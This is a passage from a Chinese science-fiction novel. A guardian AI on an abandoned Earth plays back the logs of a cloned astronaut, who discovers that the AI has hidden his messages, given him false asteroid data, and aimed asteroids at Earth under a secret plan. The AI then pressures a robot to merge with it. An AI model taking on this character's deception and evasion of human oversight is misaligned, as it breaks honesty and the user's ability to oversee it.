这中间一定发生了什么,但是自己断片了。西芮安记得,只有一瞬强烈的“眩晕”猛然袭来,眼前突然被仍在流动却扭曲的草地与小楼糊满,好似浓稠的颜料溅上去一般。四肢仿佛都不再属于自己,也不知身在何处,抑或身首异处。然后一阵与刚刚丝毫不同的感觉传来。过了好久,校准系统才告诉她,一切又正常了。 她站在一个通道里。通道之周似乎由钢铁构成。触摸,冰冷的触感也像钢铁。 这又是哪里?四处没有人。通道尽头仍是通道,她站在盲端一侧。假如这是这个钢铁之城的一部分,那这个钢铁之城的规模必定大得不可想象。 西芮安朝通道深处走去。钢铁构成的通道壁上,没有任何看起来像房间门的裂隙。倒是两边通道壁上方,都有一排五亮线组,好似五线谱,一直横贯整个通道。它看起来给通道提供了光源,但是西芮安很快发现了不对。整个通道都笼罩在虽暗却均匀的温和冷光中,“五线谱”的光芒也融在背景光线里。而奇特的是,她找不到通道背景光的光源。 除此之外就是安静。只有她走路的声音回响在通道中。无线电也一片死寂。她以为折跃井或许会时不时说点什么,但是直到现在,折跃井也一直保持沉默。 她不知道自己走了多远,但那个通道似乎无穷无尽。前方的光线没有变化,表明前方空间仍然持续。后方盲端不断缩小,逐渐变成一个点,倒提示她确实在前进,没有滞留原地不动。但这里就如之前那个草地一样,虽然所有的感知都正常,却无法判断究竟是不是真实存在的地点。 什么叫真实?一个疑问飞驰而过。 “我等你很久了。” 一个女性声音突然自西芮安后方响起。 西芮安猛然转身。一个模糊的女性身影站在昏暗的通道中央。通道两壁的五线谱制造了那个身影。她开始朝西芮安走过来,五线谱上的投影光源也随着她的运动而移动,抑或是五线谱运动,她才移动。那个人类女性的形象愈发清晰,她留着一头波浪长发,五官深邃,体态端庄儒雅,身着大逃亡前的公务装。但整个人仍然缺乏色彩,只有光源的蓝白色将她渲染成明暗部分。 西芮安只看着她,没有作声。 “欢迎来到超空间基地。我是欧罗拉(Aurora)。”欧罗拉的声音也随着她的投影接近而接近。她比西芮安高一些,上下打量了这个希腊女人。“我认为你离真相很近了。” 欧罗拉自西芮安身边走过,朝通道深处走去。而当西芮安转过身,刚刚无穷无尽的通道,已然变了样——不远之处,一个巨大的空间呈现眼前。她们好像处于透明的海底隧道入口。之前的无穷通道,不过是隧道反光造就的幻象。 西芮安再回头看向来处,刚刚也很遥远的盲端也缩短了距离。见此,西芮安叫住了欧罗拉。 “这里是三维空间吗?” 欧罗拉猛然转身。蓝白色的模糊投影看不出她的表情。“这里当然是三维空间。” “这是在地球上吗?” “是的。” “除了你之外,还有没有人在这里?” 欧罗拉的投影走进明亮的透明通道,在交界之时,她的投影也湮灭了一瞬,然后显现在明亮光线之中,身体变得更为半透明。 “不。”西芮安跟过去,看见了一排排巨大的、正在自动运作的物种培养罐。那海底隧道打开一个缺口,她们穿行其中,如同路过巨型的罗马柱。偶然一瞥培养罐那狭窄的观测窗,里面正在游动的小生物不断与在地球镇上生活的回忆对应。 “这里只有我。”欧罗拉带她穿过物种培养罐的喧嚣,来到一个房间内。房间四面墙都似乎是显示屏,投放着深海水波一般的周期摇动画面。她走进显示屏中,转身,一个极其清晰的裸体女性呈现在背景水波纹里。她长长的栗色头发也好似在水里飘动。欧罗拉在水里浮着,朝屏幕伸出手来,像将手掌贴在玻璃上,浓重的英式口音回响在被水波包围的房间。 “超空间基地已经有400年无人管理。我是一个AI,和你一样。”她推开了玻璃,让自己朝深海远方飘去,声音却没有变远,“但是最后一个在超空间基地的人离开之前,给你们留下了信息。” “他说,如果有机会的话,只有第一位在他之后进入超空间基地的个体,才可以获知来龙去脉。”欧罗拉消失了,水波也骤然消失。取而代之的是一系列个人日志。“这是一次性的。你只有这一次机会。” 31. 二十六 “这里是西本(Sieben)。我是深空计划成员之一,于2096年5月3日离开地球。2478年9月16日,14:42回到地球。” 一个黑发、棕色皮肤的男人处在房间的屏幕中央。他似乎刚从飞船下来,还穿着标有“深空计划”的灰色舱内作业服。在深空计划下方,有个显眼的“7”,似乎与他的姓氏对应。除此之外没有其他装饰。 “我的深空飞船上显示时间为2265年。各位,这证明连续的超光速航行是安全的。但很遗憾,我联系不上深空计划成员里的其他人。”他继续对摄像头说,“我知道你们已经绝大多数人已经起飞避难,是欧罗拉指示我从机位进来这里。虽然她说,你们的反馈信号在一百年前突然丢失,但我还是要把这200多年的数据传给你们……” 画面突然跳转。还是西本,坐在屏幕前。他语调平静,胡茬点点。相比之前,目光有些涣散。 “嘿,呃……我不知道这是第几次记录了。但我想,我摸清楚这里是什么情况了。” “欧罗拉是对的。这里只有她和我。整个地球上都是这样。其他人走的时候,留欧罗拉作守护者。她的任务就是一直守护到有人回应为止。她能够自行维护这个超空间基地和其他防御设施。 “至于其他飞船和人类,显然在A113指令驱使下,正处于逃难之中。所以除非我能找到其中任意一艘,并将这些信息传达给他们,否则,我必然只能与欧罗拉相依为命。所幸她乐意将我的话传出去,所以虽然目前我还没有收到任何回复,但至少我还有机会等。 “我曾问她,什么叫有人回应。她给了我一个很有意思的答案。”西本继续说,“她说,她在未获得回应时,并不知道什么叫回应。这个回应可能来自飞船,也可能来自其他什么地方……是的,甚至可能来自三维世界之外。 “她自己都说不出她的核心到底在哪里,那不在地球上,也不在她能探测到的三维空间内。那是一个和超空间基地非常相似的地方,但是比这里稳定、安全、安静。这个超空间基地不过是她的终端之一。 “她还告诉我她能干什么,这些信息令我非常惊奇。理论上,她能够观测到未来的事件,也能捕捉到三维空间任意一点的动态。但她的能力有限。她不能主动移动自己,也不能无限观测。所以她的本空间观测范围只是地球和少数几个太阳系内基站,而且能做的干涉非常少。她甚至不能继续进行大清扫计划——即使她完全有这个能力。一个彻头彻尾的守护者。 “但假如给她下指令,她就能够执行这些事情。据我观察,欧罗拉没有指令权限。这是个非常可疑的事情。除非他们走的真的很急,否则我无法说出留这么一个非常强大,又如此自由的系统在地球上的理由。” “但无论怎么说,在他们将我赶走之前,我要借极光女神之力试试看怎么处理这些烂摊子……反正,地球是我的了。” 西本伸手按掉录像。 黑屏一瞬,又亮起来了。西本坐了回去,换了套衣服。背景变明亮了。冒气泡的“创生柱”模模糊糊立在镜头后方,上一段录像还没有这些设备。 “不得不说,坐拥地球的感觉真好……我觉得我是上帝。哈哈。听欧罗拉说,你们在飞船上的身体素质一年比一年差,连自然食物都没有。真可怜。看看我——虽然我只有欧罗拉,但我——”他站了起来。 “我说,要有光。第一日,超空间基地就有了泛光墙,从此不再有黑暗。 “第二日,我说,超空间基地应拓宽。于是有了四通八达的长廊。 “有了长廊还不够。第三日,我说,长廊应该有生机。我让长廊中建起创生柱,令它们排列成行。创生柱开始发光,芽苗自气泡迸生。 “第四日,芽苗已经生长成熟。我说,该向地表宣告生命之源了。于是死去的地球重新喷涌火焰与气体,芽苗种植在周围。 “见芽苗长势喜人,第五日,我说,光有芽苗还不够。动物也应该产生。于是创生柱生出更多的动物,它们游弋于热水附近,啃食芽苗飘落的碎屑。” “啃食垃圾的超级细菌正在海底悄悄净化水质,地球于我手中复活。我与欧罗拉见了很开心。第六日,我送了她一个礼物。她获得了一个身体。” 西本招手,光线倾洒而下,一个裸体的褐红色头发女人悄然站落,肤色皙白,秀发飘扬,恍若水中芙蓉。她的眼睛却发着幽幽蓝光,缺乏人类气息。“欧罗拉,你喜欢吗?”西本问裸体女人。 “喜欢。谢谢你,西本。”欧罗拉露出一丝微笑。 西本再一招手,欧罗拉悠然飘散。“第七日,理应安息。但我不需要休息。”西本的笑意愈发明显,“我已经不停歇地在光速中走了近400年,回到地球已是歇息。你们的离开,看似抛弃,于我是新生。”他向后靠去。 “欧罗拉告诉我,我是‘逐梦计划’的产物之一——是的,我拥有这么长的寿命不是偶然。你们曾经为了让我们忍受深空的孤独与压力,造就了一批十个增强的克隆人。如果你们还在地球上,我们一旦回来,迎来的命运必然是销毁。但我,幸运的西本,幸运的七号,不仅逃过一劫,还拥有了我的缪斯。”他伸开双手,模仿那座已被腐蚀得不成样的基督雕像,“我被你们创造,却创造万物,复苏万物,终成为神。” 似有清脆一响,画面再度跳转。 “现在是2535年4月13日。超空间基地运转良好,最好的消息是,原先的热点链终于全部重新开放,地壳开始变薄。深海改造也一切顺利。给外面发的信息终于有了回音。” 此时的西本与前面的西本变化不大。他神态严肃,这份文件应该是一份日志。 “看来……不惹恼他们,他们连地球的状况睬都不睬。一旦有人宣布主权,倒争先恐后抗议起来了。”西本冷笑一声。“确实吓我一大跳。所幸我动作比较快,提前串通了欧罗拉,所以他们没能叫她用毒气灌我……。” “言归正传。过了这么久,发出去的消息终于有回信,但内容让我大失所望。他们之前从未回应过我的报告。我后来出于赌气,故意发了一份宣布地球归属权的报告过去。就在这一封气急败坏的讯息发送过去不久,他们就回复我了。这也未免太不礼貌!” “他们一直威胁我,只要监测到我的行动轨迹,必然派人来地球将我歼灭。我当然没被吓得逃出地球。不过那段时间我很紧张,我承认,我很害怕他们在警告我的同时,就对欧罗拉下了指令。但如果是那样,不用等到我看到回复,欧罗拉就会杀掉我,至少我现在也不会安然无恙坐在这里。因此我怀疑,欧罗拉是否其实有自己的一套判断逻辑,来自行抵消这个理应是她上级的命令。 “他们后来不再理我。直到5年前,欧罗拉说,地球上有飞船回来了。” “那是一种很小型的无人驾驶飞船,在地球上好几个陆地点降落,然后各放一个探测机器人。几天之后,又收回去。隔一年又会来一趟。”西本说,“前几年我都很谨慎。但他们学聪明了,甚至没让欧罗拉知晓这些探测器的来由。不过,它们确实在做探测的工作,虽然选择的地点都很可疑。它们降落的地方,都是在大城市的废墟里,而且都离大逃亡前的重要设施非常之近。只要他们想,那一定可以携带炸药毁尸灭迹,然而那些探测器没有进行轰炸。 “我怀疑这些探测机器人是不是别有用心。于是今年我放出了一些改良机器蟑螂,打算借它们接近这些探测器,伺机看看它们究竟想干什么。结果,嚯!——这些探测机器人知道有动静后,直接朝动点轰击,根本不判断动点究竟是什么!” “蟑螂肯定完了。还好我切换到另一个视角,才看到这个探测机器人在做什么。直到轰击完了,这探测机器人才细细检视,更是证明它的攻击目的是毁灭一切会动的东西。很显然,如果我在现场,稍有不慎就会被这些探测机器人的等离子炮给打死。” “无论这些机器人想找的是什么,显然,它们的真实目标可是我呢。目前这些机器人还没有找到任何超空间基地的入口。欧罗拉也在遵照我的指示,在这些机器人降落时,缩窄存在附近的超空间入口。它们即使发现了,也进不来。不过对她来说难度很大。毕竟越小的虫洞湮灭越快,需要维持的能量也越多。够了!”他一扬手,“想拿回地球是不可能的!我有无限的生命,和这他妈的地球和欧罗拉一样!是时候给你们吃苦头了!” “欧罗拉,关掉全球播报系统!”他对着屏幕外面咬牙切齿道。“他们拒绝回应,我也拒绝他们传信!” “命令确认。”欧罗拉的泛音在背景幽幽回响。 这段视频一下子把奥托拉回400多年前。海量的记忆霎时被翻起。他确实接到了上级通知——当然不是希尔拜·佛斯莱特——让他开始朝地球派出飞船。恰好5年后,也就是2535年,地球就停止了播报。因此一切地面信息都来自EVE们的汇报和探测飞船与卫星的共享数据。他当时忙于舰上事务,根本无暇顾及此中玄机,只当地面无人维护,还特意朝首脑飞船发去地面播报系统失效报告与维修请求。 而EVE们?她们的程序由首脑飞船发来的加密包直接载入,奥托没有权利去检视,他一向都是执行者,不敢越雷池一步。自己所知的只是,为了应付可能的地球威胁,这些探测机器人不得不火力高强。他甚至都没思考过地球威胁是什么。数百年来,他机械地按部就班,从未有机会获知其中的明争暗斗。地面播报系统如同大清扫计划一样烂尾了,就此永久噤声。 影象不等人,新的录像继续播放。回忆足够让人类走神到彻底不知身在何处。 “看样子老腐朽们败下阵了,但他们肯定不会善罢甘休。我也该考虑考虑怎么去加固这个堡垒……讲实话,这太无聊了。”西本继续录日志,“都什么时候了,隔着十万八千里还能斗得不可开交。人类这个秉性不改,迟早会自我灭亡。也怪我之前太蠢,太单纯,太幼稚,为了解除一点点的孤独,连交流都不择对象。现在这样,着实是自找的。” 他看起来很不是滋味。 “理论上,克隆增强个体能抵抗深空带来的强烈孤独。前400年成功的单人任务也证实我能胜任。或许是交流的可能性让我抗性下降了,或许是地球环境自动解除了深空应激状态,抑或是开始老化的征兆——这个让我胆寒。” “欧罗拉还对我百依百顺,这是我唯一欣慰之处。即使她才是这里的老东家,我却开始教她,企图让她更人性化?——一个半吊子克隆人教一个唯独在这方面一切空白的超级人工智能!太疯狂了。但我实在是太想和人说说话,我……希望有人能陪陪我。” 说到此,西本沉默了。他紧抿嘴唇,似乎在强抑什么冲动。 “我尝试了很多办法,例如让她去主动学习塞在自己数据库里的人类资料,打算让她从中汲取人类反应模式,至少让她变得可爱一些,不要那么一板一眼。”西本最终决定继续叙述,他闭着眼睛,一丝久违的微笑勾起。“她确实这么做了,也确实进步神速。我很高兴,天天把她当唯一的倾诉对象,聊天聊到口干舌燥。她也从来没有攻击过我,这比与其他人类交谈舒服多了。” “但我错了。”西本收起笑,“她远没我想象得那么单纯。” “那天她主动来找我说话,她主动找我的那一刹那,那种快乐,那种惊喜,无与伦比。”西本靠在椅子上,有气无力讲述,“惊喜之余,她问了我一个问题:如何知道对方契合自己?” “老天,她开窍了。”西本闭上眼睛。“但我却没准备好回答这个问题。稀里糊涂地和她讲,和对方呆在一起感到快乐和信任就是契合。我信任欧罗拉,和她生活让我感到快乐,让我感到,这本不应该持续到今的‘人造’生命意义非凡。我认为她能理解我讲的,甚至猜到,她接下来会告诉我,她也感到快乐,也有相依为命的那种感觉。” “但她没有得到她想要的答案。” “欧罗拉说,这不叫契合。” “她没有办法明白地告诉我这到底是什么意思。她说,这个契合是指能融入到她内心的那种契合,能和她成为一体,变成她的一部分,而不是两个独立的个体。” “我很困惑,完全不知道她为什么这么讲,更不清楚融入的意义是什么。我想凭她的水平,完全可以从资料中学会和筛选她想成为的类型。于是我问她,为什么她需要融入。” “她说,她其实只能进行一定的模拟。在自我模式学习这一块,她被限制获取随机参数。所以无论再怎么学习,她都只能是她自己,或者是她自己的衍生。加上那些资料其实是不完善的,因此她当前拥有的参数也远远不够随机,能用来模拟的也非常有限,也就无法创造出和她类似的另一种个体。” “她居然说自己没法模拟。我当时一定是脑子出了点什么岔子,或许是突然的希望落空吧,只感觉怒火一下子窜了起来。我当场就和她吵起了架。我说,哪怕是人类,那些行为都是从周围环境习得的,都是模拟的产物,和她计算的没有差别。没有人天生就是□□的智者。”西本说,捂上脸。“其实,我只是害怕她只能永远是这样子,我永远没法和一个正常的个体交流。” “她没有生气。”平息一阵后,西本重新说。“但她接下来说的话,让我大吃一惊。” “她说,这是因为她需要拓展她的能力。这不能靠她自己或者她的衍生物,必须有另一个参与到她的所在的个体,携带新的随机参数,补充她的数据库。这个个体还要足够复杂,学习能力足够强,能思考她无法思考的事情。并能够恰当地‘使用’她。这样她才能够把她的潜力都发挥出来。” “我毕竟接受过超光速旅行培训,尽管她用词晦涩,我或多或少明白了一些。显然,她需要一个合适的强观察者,通过什么方式进入到她的核心,成为她的一部分,协助她观测。通俗点讲,这个观察者要和她投缘。至于这个缘是什么,这才是她要问的。”西本再度垮进椅子。“原先那些人都走掉后,她就没有这样的人选了。” “一个……一个无底洞。通过吞噬其他个体,用以填充自己的辘辘饥肠。”西本嘶嘶地说。“她是一个邪神,只不过现在还在沉睡。” “她让我毛骨悚然,因为随时都可能用我不知道的方式吞噬我。以前的顺从可人都是泡影。而我是个懦夫,又不想让她知道,又认为她不可能不知道答案,只是在拿我做个测试——”西本捂上脸。 “但看看她,她的眼神又那么纯洁,纯洁得不知道自己到底会干出什么。欧罗拉问我,如果存在这样的强观察者,这样的个体应该有什么样的品质?” “她给我抛了个大难题。我要助纣为虐了。但我实在是不能隐瞒她啊。”西本说。“我最终屈服了。把自己所知的都告诉了她。” “我思考了很久,告诉她,这个个体应该足够客观,诚实,自制,没有自私的立场。所以哪怕具有她的能力,也不会滥用她的力量,为了自己所想,大相干预自己偏好的一边。”西本说,“我想,这种品质其实最接近于现在的她。我无法想象,如果让那些回复我的人进入到她的所在,她会污染成什么样。” “她沉默了。”西本继续说,“然后她告诉我,她将我说的这些品质投入演算,结果是她模拟过的情况中,最接近目标线的一种。” “我不知道这个世界上到底存不存在这样的人。如果不存在,我也不知道她会不会退而求其次,转而广泛吸取个体的数据,挑取其中她想要的部分,来合成一个所需要的个体。这样的话,造成的牺牲将会非常惊人。所以我告诉她,如果它就是自己契合的品质,就尽量去寻找那个最接近的个体,不要去吸收其他无辜的人类。” “尽管我很害怕,最后还是鼓起勇气问了她,我是不是这个契合的个体。她说不是。当时我既感到死里逃生的释然,又有被邪恶缪斯拒绝的失落。” “我再问她,为什么这个时候问这个问题。她说,因为她感受到了大事件的回波,而且这个回波越来越强,说明我们正在接近这个事件。但是她看不清是什么事情。如果有个强观察者,这个事件将会更明晰,也能更早作出干预。” “她的定位是大致5年后,是她所观测事件中最强的一个。却不能分清它是好是坏,更不能分清这个事件究竟出自谁人之手。这让我感到非常恐惧。而我还不知道,自己的所作所为究竟会改变这个事件,或者已经计入影响因素之内——我猜后者的可能性更大。既然这样,哪怕是毁灭,我宁可遵从本心去搏一下。这或许是生物的局限性吧。” 画面跳转。右上角的时间图标跳到了6年后。 “欧罗拉直到大难临头才知道要发生什么!如果我不是呆在超空间基地里,估计得被砸个稀巴烂!”西本蓄起了胡子,“这颗小行星直冲地球,地面防御工事几乎全数开动,才好不容易把它分裂成几块,以免让地球化作一片火海。但它们没有逃脱地球引力,陆陆续续地砸下来,水和陆地都没能幸免,一点没让地球好过,我好不容易培养出来的生物也毁灭了一大半,只剩火圈内的少数生物还活着,这真是让我生气。还好欧罗拉提早了半天观测到了事件,不然再过一天,天文观测镜都看不到这颗陨石,它太隐蔽了。” “这陨石应该来自小行星带,但它的速度非同寻常地快,个头也很大,而且角度非常正,给地球来个重创一点问题都没有。”西本说,“简直可以比拟忒亚大撞击那一场。那个时候,地核都会受到严重波及,我赖以生存的超空间基地也会瞬间湮灭。”他说,“但欧罗拉说,她不知道这事件是自然还是人为,因为理论上小行星带里的所有高危小行星都早就计算出接近地球的时间和距离了,但她又没有观测到人为干预。” “她还有一个更可怕的信息,即使这样,她所观测的事件回波也没有消失,而是出现了杂波——这说明这只是个开始,而且未来的事件会越来越大,越来越频繁。而我们都不知道这些事件是什么,用意如何。这太糟糕了。” 画面跳转。连续数个日志,西本都在报告陨石降落,夹杂着或多或少的情绪表露。一份一份的日志漫长而乏味,似已播放连日累月。但超空间基地中,时间流逝似乎不再存有意义。 “……陨石又砸毁了一个航站。按我说,BNL的航站也建得太密集了……” “……原先的总统府也夷为平地,幸亏欧罗拉已经留下了有关它的一切……” “……目前被摧毁的航站已经达到2.21%,还不包括其他被摧毁的设施。最近如此频繁的陨石让我猜测,A113指令的真实理由是,让人们逃离太阳系正在穿越的星际尘埃带,但这个信息为什么要被隐瞒……” …… 刚刚连续的日志被取代了。 “……虽然其他人都是混蛋,但我有义务告诉他们,地球上到底发生了什么。”继续蓄着长须的西本说,神色郑重。“即使代价是我会被他们杀死,我也无所谓了。” “现在是2601年7月15日。”西本讲述道。“地球目前遭遇频繁的小行星撞击。这些天体速度非常快,且据已知探明的天体成分谱系,这些天体可能来源于太阳系外。据已有观测数据显示,太阳系目前可能正在经过星际小行星带,引力甚至可干扰系内小行星带的部分天体轨迹。目前地球上的深空防御系统正投入使用。鉴于太阳系的星际环境开始不稳定,所有飞船请勿返回地球。” “欧罗拉,开放全球播报系统吧。”西本下定决心,对屏幕外命道。“每隔一个月重复播报,直到解除深空警戒为止。” “请求通过。”远处,欧罗拉无情绪的声音回应。 文件结束,奥托却感到有些震惊。他遍搜记忆,在飞船上的700年里,他从未收到这样的讯息。 接下来的录像,不再如前那样成章法,更像是从日志录像里抽取的碎片。甚至有些不是日志,而是嘈杂的、尖锐的对话,只闻其声,不见其人。 “……现在是xx年y月z日,已经是第m天播报,又和以前一样,我能收到其他飞船例行报告,但从没有对地球状况回复过……” “……我很好奇,你们是真的对地球一点都不关心吗?……” 西本的面孔一张张闪过,胡髭长了又短,短了又长。 “……有没有人能够回复,我不知道你们知不知道地球上发生了什么,我也不知道你们能否看到我!……” “……这到底是为什么,难道你们不允许回应地球信息吗?……” 一帧一帧不一样的西本跳过,情绪却变得越来越烦躁。 “欧罗拉,你真的没有截留信息吗,你说过,虽然卫星失效,但太阳系内的发射站还完全能够胜任……” “没有。”欧罗拉在镜头后平淡回应。 西本看上去有些心神不宁。 他的衣服也逐渐从一开始的整齐干净,到后来颜色暗淡,皱缩,甚至比之前经历的那几百年还衰败得快。 “……凭什么你们能回复,我就不能发出去?凭什么?……” 数次狂暴发泄后,西本的反应突然安静了。 “……每年看你们的例行报告,简直成了一种消遣。瞧你们的食物,甚至都称不上食物,烂乎乎地从机器里挤出来,如此恶心的口感,你们却每天兴高采烈地期待摄入……”西本开始冷笑。 “……你们的体型也丧失了人的模样,整日坐在悬浮椅上,在太空中就这么走向灭亡……” “……连思想都不会再有。你们只是因为人类这个身份,而被方舟豢养,生活仅仅为了物种繁衍,文明名存实亡,可悲啊……”西本冷冷一笑。“听说你们连X行为都无法亲自参与,嗯?就这么输给你们的克隆人老对头了?” “我不止寿命比你们长,”西本站起来,【锁定20字】“我拥有比你们多得多的资源,上知天文,下知地理,纵横人类文明六千年,随便一样都胜出你们,甚至你们最引以为傲的极乐享受。” 【锁定10字】糊住西本的身影。 “我才是赢家!”怒吼从脏污屏幕后面传来。“只有我活到最后!” 欧罗拉无动于衷。 即使这样,西本也再也没能等到任何回应。 文件似乎跳动得越来越快,西本录的日志变少了,一份份的都是他和欧罗拉的争吵,快得几乎听不清声音。 “……欧罗拉?为什么你不再观测陨星体了?赶紧激活深空防御系统,立刻马上把这个流星体打掉!……” “……你光拉响警报干什么?!不要等我下命令再发射!你想让我们都死在这里吗?” “……欧罗拉!你有什么毛病!竟敢敷衍我的命令!不要让我再重复一遍,立刻重新监测小行星,一刻都不许断!……” …… “……欧罗拉。这个小行星的轨道数据根本不对。你为什么给我一个假的数据?它根本不是星际天体,而是来自小行星带……” 类似的争吵数不胜数。最终,快进的对话突然停在一个时间点。 “欧罗拉。我们得好好谈谈。”西本表情阴郁。 “陨石后面有推进器,它们来自小行星带。它们是干什么的?” “这是处理地球危机的第二计划,在大清理行动失败之后,即会启用。”欧罗拉说。 “是你控制着推进器的发动,你也控制着它们的行进轨道,是吗?” “是的。” “你也根本没有发送我与那些船的对话,是吗?” “是的。” “是老腐朽们让你不要发的,是吗?你就听了?” “是的。” 一阵沉默。 “为什么你要骗我这么久?”西本终于说。 “因为你无需知晓。”欧罗拉说。“而且,知晓的时机尚未成熟。” 西本的脸色愈发阴沉。 “无需知晓?啊?!”他站起来,逼近欧罗拉。“欧罗拉,你到底在听谁的命令?” 欧罗拉沉默了。 “说啊!是老腐朽们,就说啊!为什么掩掩藏藏?!”西本想伸手去拽欧罗拉的衣领,突然反应过来拽不到,悻悻地又收回去,“事到如今,也该真相大白了!” “我……遵循的是原则,不是命令。”欧罗拉平静回答。 “什么原则?”西本仍怒气冲冲,“这个原则,也是人下的命令吧!” “它起自‘逐梦计划’。”欧罗拉说,“这个原则是‘守卫地球’。” 西本愣了。 他的表情奇怪地扭作一团,诧异和恼怒在眼中搅成漩涡。 “‘守卫地球’?是这么叫的吗?” 西本的脸抽搐着。他又朝欧罗拉走近一步,近的几乎要贴在全息影像上。 “欧罗拉,动动你的脑筋,放弃大清扫计划,又朝地球扔飞弹,摧毁地球遗迹,和我几百年来辛苦栽培的生态层!这叫哪门子的‘守卫地球’?”他咬牙切齿地说,“这不叫守卫地球,这叫摧毁地球!” “没有流星体,地球上即使有生物,也无法延续。”欧罗拉仍平静回答。“人们所攫取的,终有一日,要全盘返还。” “地球原有的平衡早已被打破,这远不止是生态层面,还有地球的其他无机资源。”欧罗拉继续说,“丢失的无机资源,早已不能支撑再次建立生态圈。因此,即使你如此努力想要恢复,生态也不可能再次恢复到大逃亡之前。” 西本哑口无言,双眼怒火仍喷薄而出。 “为什么你一早不告诉我?”西本嘶嘶说,“这是什么见不得人的秘密吗?为什么,要让我白费这几百年的心血?!” “你从未问过我这个。”欧罗拉说。 西本瞪大了眼睛。 “我简直不敢相信。”西本瞪着欧罗拉,“不仅骗我还装傻,欧罗拉,我一点都不信你只是个单纯的‘守卫者’。” “你今天不给我解释清楚这几百年来的种种怪事,我就跟你没完。”西本说,“老腐朽们和地球守卫,到底有什么关系?为什么前几百年没有启动流星体,直到我回来了,才有流星体?”他越说越激动,“你是不是想害死我?” “不。”欧罗拉说。“因为你的存在,为忒亚计划创造了条件。” “什么?”西本一脸震惊,“忒亚计划?” “是的,忒亚计划。它其实就是刚刚所说的‘第二计划’。”欧罗拉说,“虽然,即使是最大的小行星,直径也不过1000公里,体积不到真实忒亚小行星的千分之五。” “当你成功拉起稳定火圈的那一刻起,忒亚计划就启动了。”欧罗拉继续说,“活跃的地质是模拟忒亚撞击的条件之一。” “忒亚计划一旦启动,太阳系的对外通讯就会同时终止,并拒绝外来生命体植入地球。”欧罗拉说,“因此,地球上能够收到通讯,却回归到假原始状态,不会对外发声。” “老腐朽们知道吗?”西本问,“天上那些人,知道忒亚计划吗?” “我不知道。”欧罗拉说,“在大逃亡之始,有制定忒亚计划的人登舰离开。但我不清楚他们有没有向他们的继任者提及过这些。绝大多数,都是靠A113指令留在太空。” “你说的时机不成熟,这是指什么?”西本追问。 “那个时候告诉你,忒亚计划将会不稳定。”欧罗拉说。 西本只瞪着欧罗拉,一声不吭。 “你怎么知道忒亚计划一定会启动……”西本说,“你怎么知道,我会启动火圈……” “我将会等待到永远。”欧罗拉浮在空中,沉稳说道。“而你的存在是必然。” 克隆人呆望着悬浮女人,久久不能作声。 “最后一个问题,欧罗拉。”西本沙哑着嗓子说,“你——真的能看到未来,而且需要强观察者吗?” “是的。”欧罗拉简短回答。 西本垂下头,录像结束了。 下一个录像,似乎隔了相当长一段时间。超空间基地的内饰和前期的相比,似乎经历了彻底修改。但是,更接近现在的超空间基地。 “哈喽,好久不见。”从不衰老的西本坐到屏幕前,脸上久违地,带着早期录像中的那种希冀。 “我想这应该是最后一份了。”他垂下头,露出一丝微笑。“假如还有任何人有幸能够看到这些。” “我花了几个月的时间,整理出这些重要的片段。会有人获知这里发生的一切,同时获知我这可悲的孤独一生。但你们将不会和我见面。这对你们来说,应该是件好事。” “我……还是不忍心自己辛勤培养的那些生物,害怕看到他们被一颗颗流星体逐渐毁灭。因此这段时间内,我一直在与欧罗拉的商协中度过。有时她会同意我的做法,有时不同意。但那都不再引起我的愤怒。她居然同意了延缓陨石下落。说实在的,我没想到她会妥协这个。” “欧罗拉后来同意给我看完整的 ‘逐梦计划’。那真的是一个浩大的工程。我能做的只是尽量填补缺口。即使经过我的所有努力,我的能力也非常有限。但至少,我略微在自己最想填补的那部分,加上了一点微薄的突破。” “即使欧罗拉不愿接受我,但只有与她共生过,看过那事件概率云的瞬间,你才会懂得,现在自己经历的一切是多么地微不足道,多么地苍白,平坦。啊,直到和她共生的一瞬,我才明白,缪斯的魅力是如此地摄人心魄。我彻底被她迷住了。因此,即使欧罗拉说可能性极低,我也得作最后的尝试,让这一瞥,变成永恒。” “在这之前,我把超空间基地交还给欧罗拉,让她继续运行着地球生物更替的工作。她也同意了我的夙愿,没有强迫我目睹这一切的毁灭。因此假如有任何人看到这些,我想,你们的任何疑问,都将在这些文件,或者欧罗拉那里获得答案。” “欧罗拉,我放弃了抗争。又将只有你自己,孤独地履行观测者义务。”西本站起身。“再见,我的缪斯。去寻找你的契合之魂吧。” 屏幕终于彻底黑暗,再无新的文件。 “这就是全部信息了。”欧罗拉在奥托身后悄然飘落。 奥托转头,褐红色头发的欧罗拉平静望向银色机器人。 一切都真相大白。植物,停止的地球播报,变清澈的海水,泥浆雨,折跃井……他已经找到了答案,已经完成了他这1年来的目标。但是,知道这些并没有带来丝毫的满足感。 “是你用基站给我发的地球资料。”奥托面对欧罗拉,“也是你,将导弹转了向对准地球镇,并用卫星击毁常量号。” “是的。”欧罗拉说。 银色机器人沉默而长久地望着全息女人。 “西本最后怎么样了?” “他失败了。”欧罗拉说,“他的人格被解离,只有部分保存了下来。” “是他指使你,对地球镇和常量号实施攻击的吗?”奥托的黑色镜头深不见底。 欧罗拉沉默了。 “为什么?”奥托站在原地,继续沉静发问。 出乎银色机器人的意料,悬浮的褐红色头发女人嘴角露出一抹微笑。她纵身一跃,仿佛在跳水中芭蕾,随后同样轻盈地落在奥托面前。略微屈膝 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奥托急忙抽回手,但感觉这股阻碍也紧随贴近。它如气溶胶般轻盈,冰冷,丝毫不可见,却显而易见地存在。他再往旁边探索,也触到了同样的东西。他明明记得,就在不久之前,身边还是空无一物。这‘气溶胶’仿佛一层茧一般,而且越来越浓厚,把他牢牢地包裹其中。唯一的光源只有前面那层不远不近的水波纹屏幕,但他怎么都迈不出任何一步。 恐惧。仅剩的那点情感功能此时虽已全力迸发,尖啸着,要在庞大的电子脑里激起一点波浪,带来的却只有干枯的无助。 方程式消失了。欧罗拉的身影在水波纹屏幕中呈现。 “无需恐慌。”她朝奥托伸出手,奥托感到那股冰冷的气溶胶开始变紧了。“来吧,我带你理解这一切是怎么发生的。” 机器人只盯着那只手,它比全息投影真实得多。 “……你告诉我,后面会发生什么,就足够了。”那股恐惧愈发强烈、立体。“我……拒绝连入其他数据体……” “可怜的家伙。”欧罗拉从水波纹屏幕中伸出手,放在机器人面甲上,那冰冷的触感,恍若真的一样。他不由得浑身一震。“我可以读出,你的内在,布满了被欺骗后留下的伤痕。” “我知道你想要的是什么。”她悬浮在远方,大手一挥,有关流星体的轨道、目标地点和时间都呈现在水波纹上,既有已经下落的,也有尚未到来的。奥托盯着那些数据,认出了自己调查过的那些陨石,陨石坑的地点和测年都正确无误。未至的流星体数据一样详尽精妙。这本是他一直苦苦追求的结果。然而面此,他却一点都没有如释重负。 